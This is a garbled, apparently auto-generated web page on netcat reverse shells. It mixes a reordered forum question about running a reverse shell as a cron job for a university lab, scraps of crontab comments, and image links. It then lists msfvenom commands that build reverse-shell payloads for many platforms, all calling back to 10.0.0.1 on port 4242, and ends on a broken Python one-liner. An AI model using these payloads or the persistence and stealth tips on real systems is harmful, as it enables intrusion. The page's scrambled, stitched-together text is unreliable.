So to the many many people smarter than I here, what am I doing wrong and how do I get this command to work as a cron job (calling a script is not an option)? Mar 19 07:42:01 raspberrypi CRON: (CRON) info (No MTA installed, discarding output)
BASH NETCAT REVERSE SHELL MANUAL
# For more information see the manual pages of crontab(5) and cron(8) # 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
![bash netcat reverse shell bash netcat reverse shell](https://www.infosecademy.com/wp-content/uploads/2021/01/image-12.png)
# For example, you can run a backup of all your user accounts # email to the user the crontab file belongs to (unless redirected). # Output of the crontab jobs (including errors) is sent through # Notice that tasks will be started based on the cron's system # and day of week (dow) or use '*' in these fields (for 'any').# # minute (m), hour (h), day of month (dom), month (mon), # To define the time you can provide concrete values for
![bash netcat reverse shell bash netcat reverse shell](https://i.ytimg.com/vi/eFR93buUAFk/maxresdefault.jpg)
# indicating with different fields when the task will be run # Each task to run has to be defined through a single line # Edit this file to introduce tasks to be run by cron. In no case is the cron-run command successful. I don’t think I need to establish what tty session it’s run from (that would be tough). Further qualifications of the path to /tcp/. Also the next lab is on iptables to block this port. I don’t want to use port 80 because I DO want this blocked if a student decides to attempt something stupid. When run from the command line the command works and the reverse shell is established. Right now the frequency isn’t important though eventually it will run on boot and every 30 minutes. I am trying to get this command to execute. Part of the lab is on stealth operations (like putting a space in front of any command that is entered). Problem is there is too much of a fingerprint with that and the script can be deleted. I have created a cron job that runs a script that connects to my listener. I teach Cybersecurity at a university and am writing a lab on Netcat and reverse shells.
![bash netcat reverse shell bash netcat reverse shell](https://cache.mrporter.com/variants/images/23841192565792808/bk/w2000_q60.jpg)
rlwrap will enhance the shell, allowing you to clear the screen with +. In order to catch a shell, you need to listen on the desired port. $ msfvenom -p php /meterpreter_reverse_tcp LHOST = "10.0.0.1 " LPORT = 4242 -f raw > shell.php cat shell.php | pbcopy & echo ' shell.php & pbpaste > shell.php Spawn TTY Shell $ msfvenom -p cmd /unix /reverse_perl LHOST = "10.0.0.1 " LPORT = 4242 -f raw > $ msfvenom -p cmd /unix /reverse_bash LHOST = "10.0.0.1 " LPORT = 4242 -f raw > shell.sh
![bash netcat reverse shell bash netcat reverse shell](https://www.hackingtutorials.org/wp-content/uploads/2016/11/Netcat-reverse-shell.jpg)
$ msfvenom -p cmd /unix /reverse_python LHOST = "10.0.0.1 " LPORT = 4242 -f raw > shell.py $ msfvenom -p java /jsp_shell_reverse_tcp LHOST = "10.0.0.1 " LPORT = 4242 -f war > shell.war $ msfvenom -p java /jsp_shell_reverse_tcp LHOST = "10.0.0.1 " LPORT = 4242 -f raw > shell.jsp
BASH NETCAT REVERSE SHELL WINDOWS
$ msfvenom -p windows /meterpreter /reverse_tcp LHOST = "10.0.0.1 " LPORT = 4242 -f asp > shell.asp $ msfvenom -p osx /x86 /shell_reverse_tcp LHOST = "10.0.0.1 " LPORT = 4242 -f macho > shell.macho $ msfvenom -p windows /meterpreter /reverse_tcp LHOST = "10.0.0.1 " LPORT = 4242 -f exe > shell.exe $ msfvenom -p linux /x86 /meterpreter /reverse_tcp LHOST = "10.0.0.1 " LPORT = 4242 -f elf > shell.elf C:\Python27\python.exe -c "(lambda _y, _g, _contextlib: (lambda: None)])(_contextlib.nested(type('except', (), ), 's2p')]] for _g in ] for _g in ] for _g in ] for _g in ])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), _import_('contextlib'))" PHP